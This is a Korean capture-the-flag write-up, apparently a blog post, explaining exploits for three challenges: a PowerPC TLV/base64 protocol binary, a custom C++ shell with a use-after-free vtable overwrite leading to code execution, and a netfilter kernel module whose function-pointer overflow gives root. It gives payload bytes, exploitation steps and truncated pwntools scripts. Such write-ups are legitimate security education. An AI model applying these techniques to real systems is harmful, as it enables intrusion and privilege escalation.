easytlv
- protocol reversing, base64
32bit MSB executable 파일이 주어진다. 평소에 보던 LSB executable이 아니라 MSB executable 파일이라 패킹할 때 endian을 잘 고려해야 한다.
1 | easytlv: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 3.2.0, BuildID[sha1]=31b0c6b8608636e8a3e67860615bb01a53b2af44, not stripped |
base64인코딩은 https://gist.github.com/happyjake/3623640 의 소스코드를 활용한 걸로 보인다.
recv_message_header에서는 총 10바이트를 입력받게 되는데 첫 두바이트는 \x13\x37로 맞춰야한다. 다음 4바이트는 BASE64인코딩된 payload의 length이다. 다음 4바이트는 recv_messages_b64의 반복 루프 수이다.
1 | int __fastcall recv_message_header(int a1, unsigned int *a2, unsigned int *a3) |
main함수에서 message_get함수를 호출하게 되는데 message_get(data, 255, 1);을 보면 recv_messages_b64에서 세팅한 값에 따라 control flow가 결정된다. 즉, *(data + i + 4)의 값을 255, *(data + i + 132)값을 0을 맞춰주면 된다. 그리고 *(_DWORD *)(data + 4 * (idx + 0x40) + 4)의 값을 1로 맞추면 do_ls 함수를 호출 할 수 있고, 2로 맞추면 do_cat함수를 호출할 수 있다.
message_get
1 | unsigned int __fastcall message_get(unsigned int *data, char a2, char a3) |
do_ls를 짜려면 다음과 같은 조건들을 만족해야 한다.
1 | int __fastcall do_ls(int a1) |
만약 ls /
를 호출하고 싶다면 다음과 같이 짜면 된다.
message_get(a1, 0, 0)을 우선 만족시켜야 하고
*(_BYTE *)(data + 4 * (idx + 64) + 4)
가 1이면 된다. 이는 recv_messages_b64에서 주석처럼 채워주면 조건을 만족할 수 있다. 이 부분의 payload는\x00\x00\x01\x00\x00\x00\x00\x01
이 된다.1
2
3
4
5
6
7
8
9
10
11
12
13
14plaintext = get_and_dec(plaintext, &d1, 1u, &size);// 0
plaintext = get_and_dec(plaintext, &d2, 1u, &size);// 0
plaintext = get_and_dec(plaintext, &d3, 4u, &size);// \x01\x00\x00\x00
switch ( d2 )
case 0:
if ( d3 != 1 )
return -1;
plaintext = get_and_dec(plaintext, &d4, 1u, &size); // 1
if ( !plaintext )
return -1;
*(_BYTE *)(data + idx + 4) = d1; // 0
*(_BYTE *)(data + idx + 132) = d2; // 0
*(_BYTE *)(data + 4 * (idx + 64) + 4) = d4 != 0;// *(a1 + 4 * (message_get(a1, 0, 0) + 64) + 4) == 1
break;다음은 execl(“/bin/ls”, “/bin/ls”, v3, 0); 에서 v3에 들어갈 경로를 세팅해야 한다. v3는 포인터가 들어가야한다. v3 = *(a1 + 4 * (message_get(a1, 1, 2) + 64) + 4); 그러면 case2를 이용하면 원하는 문자열을 넣을 수 있고 추가로 포인터를 세팅할 수 있다. ls / 을 할거면 /는 1글자니까 d3에 1을 세팅해주면 된다. 그러면 get_and_dec(plaintext, ptr, d3, &size) 코드를 통해 동적할당한 영역에 / 를 넣을 수 있고 이 포인터를 *(_DWORD *)(data + 4 * (idx + 64) + 4) 에 넣어서 execl의 세번째 인자로 넘길 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15plaintext = get_and_dec(plaintext, &d1, 1u, &size);// 1
plaintext = get_and_dec(plaintext, &d2, 1u, &size);// 2
plaintext = get_and_dec(plaintext, &d3, 4u, &size);// \x01\x00\x00\x00
switch ( d2 ){
case 2:
ptr = malloc(d3);
if ( !ptr )
return -1;
plaintext = get_and_dec(plaintext, ptr, d3, &size); // path
if ( !plaintext )
return -1;
*(_BYTE *)(data + idx + 4) = d1; // 1
*(_BYTE *)(data + idx + 132) = d2; // 2
*(_DWORD *)(data + 4 * (idx + 64) + 4) = ptr;// v3 = *(a1 + 4 * (result + 64) + 4)
break;ls를 호출하려면 main에서 do_ls를 call 해야한다. 우리는 do_ls를 할거면 주석처럼 조건을 맞춰주면 된다. main에서 v7 = message_get(data, 255, 1); 가 호출되고 여기 d4에 따라 do_ls, do_cat을 호출할지 결정할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15plaintext = get_and_dec(plaintext, &d1, 1u, &size);// \xff
plaintext = get_and_dec(plaintext, &d2, 1u, &size);// \x01
plaintext = get_and_dec(plaintext, &d3, 4u, &size);// \x04\x00\x00\x00
switch ( d2 )
{
case 1:
if ( d3 != 4 )
return -1;
plaintext = get_and_dec(plaintext, &d4, 4u, &size); // 1 : do_ls | 2 : do_cat
if ( !plaintext )
return -1;
*(_BYTE *)(data + idx + 4) = d1; // 255
*(_BYTE *)(data + idx + 132) = d2; // 1
*(_DWORD *)(data + 4 * (idx + 0x40) + 4) = d4 // 1 : do_ls | 2 : do_cat
break;
페이로드는 다음과 같이 짜면 되고, header는 \x13\x37 고정하고, Base64 인코딩된 payload의 길이만큼 보내주면 되고, 다음은 switch 루틴 3번 돌리니까 3을 써주면 된다.
ls 페이로드랑 다르게 cat 페이로드는 /flag.txt는 9글자이므로 2번째 section은 9로 맞추고, 3번째 section은 2로 맞춰서 execl("/bin/cat", "/bin/cat", "/flag.txt", 0);
를 실행하게 하면 된다.
exploit.py
1 | from pwn import * |
ls payload를 보내면 다음과 같다.
cat payload를 보내면 다음과 같은 결과를 얻을 수 있다.
FLAG : The course of true love never did run smooth.
csh
- UAF, C++ Map, vtable, RCE
바이너리에 모든 보호기법이 걸려있었다.
1 | ➜ day2 python3 ex.py |
문제 컨셉은 csh 그대로 커스텀 쉘이다. 기능은 ls, echo, cat, rm Linux Command들이다. 파일을 실행하고 help를 누르면 다음과 같이 Custom Shell Command들이 나타난다. 총 4개의 기능들이 존재한다.
1 | ➜ day2 ./csh |
input에 따라 executeCommand에서 다음 control flow가 변경된다.
함수를 하나하나 자세히 알아보자.
echo는 총 3가지 방법으로 쓸 수 있다.
- echo AAAA : AAAA 출력한다.
- echo AAAA > BBBB : BBBB파일에 AAAA를 쓴다.
- echo AAAA >> BBBB : BBBB파일이 없으면 AAAA를 쓴다. 만약 BBBB파일이 있으면 AAAA를 덧붙임.
echo
1 | else if ( std::filesystem::__cxx11::operator==(v31, "echo") ) |
ls는 list()함수를 call해서 처리하는데 할당된 map들을 루틴 돌려서 파일을 출력해준다.
ls
1 | else if ( std::filesystem::__cxx11::operator==(v31, "ls") ) |
cat은 getOrCreateFile을 통해서 Customfile을 읽을수 있다. 다만 여기서 가상함수를 사용해 호출한다.
cat
1 | if ( std::filesystem::__cxx11::operator==(v31, "cat") ) |
rm은 Customfile을 지워주는 역할을 한다. 여기서 remove에서 CreatefileObj의 메모리를 해제 하지 않는다.
rm
1 | if ( std::filesystem::__cxx11::operator==(v31, "rm") ) |
Exploit Scenario
vtable을 덮으려면 우선 leak을 해야한다. 나 같은 경우는 Fuzzing을 하면서 릭을 해낸 case다. 우선 heap주소, CustomFileObj vtable 주소, main_arean의 주소를 구할 수 있었다. 이를 통해서 heap base, pie base, libc base 주소를 다 구했다.
그 다음에 트리거하는 부분이다.
- g파일을 하나 만들고, g파일을 삭제한다.
- h파일을 만든다. 그리고 g파일을 만드는데 여기서 UAF(Use After Free) 취약점을 이용할 수 있다. 그리고 vtable을 덮을 수 있게 된다. 그래서 함수포인터를 호출할 때 원하는 주소로 call을 할 수 있다. 다만 여기서 double 포인터로 맞춰줘야한다. 그래서 위에서 할당할 때 힙에
p64(piebase + 0x2849)
값을 써준다. 어차피 힙 베이스 주소를 아니까 어디에 적재되는지 알 수 있다. - 이제 쉘 주소가 힙에 써진걸 알았으면 gdb로 serach 기능 활용해서 offset을 구한다. 그리고 g파일을 생성하면 된다. 그리고 content에 heapbase + offset을 써주면 이게 piebase + 0x2849를 가르키고 call을 쉘 주소로 할 수 있다.
1 | echo2(b'g',b'g') |
Exploit
exploit.py
1 | from pwn import * |
FLAG : flag{hmm_th1s_sh3ll_1s_uns@fety}
capture
- kernel, netfilter, LPE
서버환경은 Linux koworldctf 5.15.0-48-generic #54-Ubuntu SMP Fri Aug 26 13:26:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 다음과 같다.
1 | ➜ day3 modinfo capture.ko |
packet 구조는 다음과 같습니다. tcp만 사용하고 udp는 사용 안합니다.
1 | struct packet |
취약한 부분은 다음과 같습니다. 이부분에서 clear함수 포인터를 덮을 수 있게 됩니다.
1 | for (i = 0; i < payload_len; i++) |
netfilter에서 네트워크를 후킹한다. tcp, udp의 패킷들을 capture해주므로 dmesg에서 확인할 수 있다.
코드를 보면 tcp 패킷이 들어오면 tcp_handler에서 처리해준다. 그 패킷을 동적할당 해논 pkt에 복사해준다. 하지만 여기서 패킷을 복사할 때 pkt->tcp_pkt.body.payload[i] = payload[i];
코드 때문에 함수 포인터를 덮을 수 있게 된다. body 사이즈는 1440바이트고 뒤에 clear함수 포인터가 존재한다. ssh를 제공해줬으므로 kaslr을 고려하지 않고 로컬에서 아래처럼 privillege_escape함수의 주소를 패킹해서 보내주면 된다.
exploit.py
1 | from pwn import * |
익스플로잇 순서는 다음과 같다.
ssh 내부에서 9001번 포트로 연다.
위의 python exploit code를 보낸다.
그러면 privilege escape !가 뜨는 것을 확인할 수 있다. commit_creds(prepare_kernel_cred(0)); 가 실행되면 Linux의 Task 구조체를 덮어서 해당 태스크는 최고관리자 권한을 획득할 수 있게 됩니다.
FLAG: flag{EZPZ_FUNNY_NETFILTER}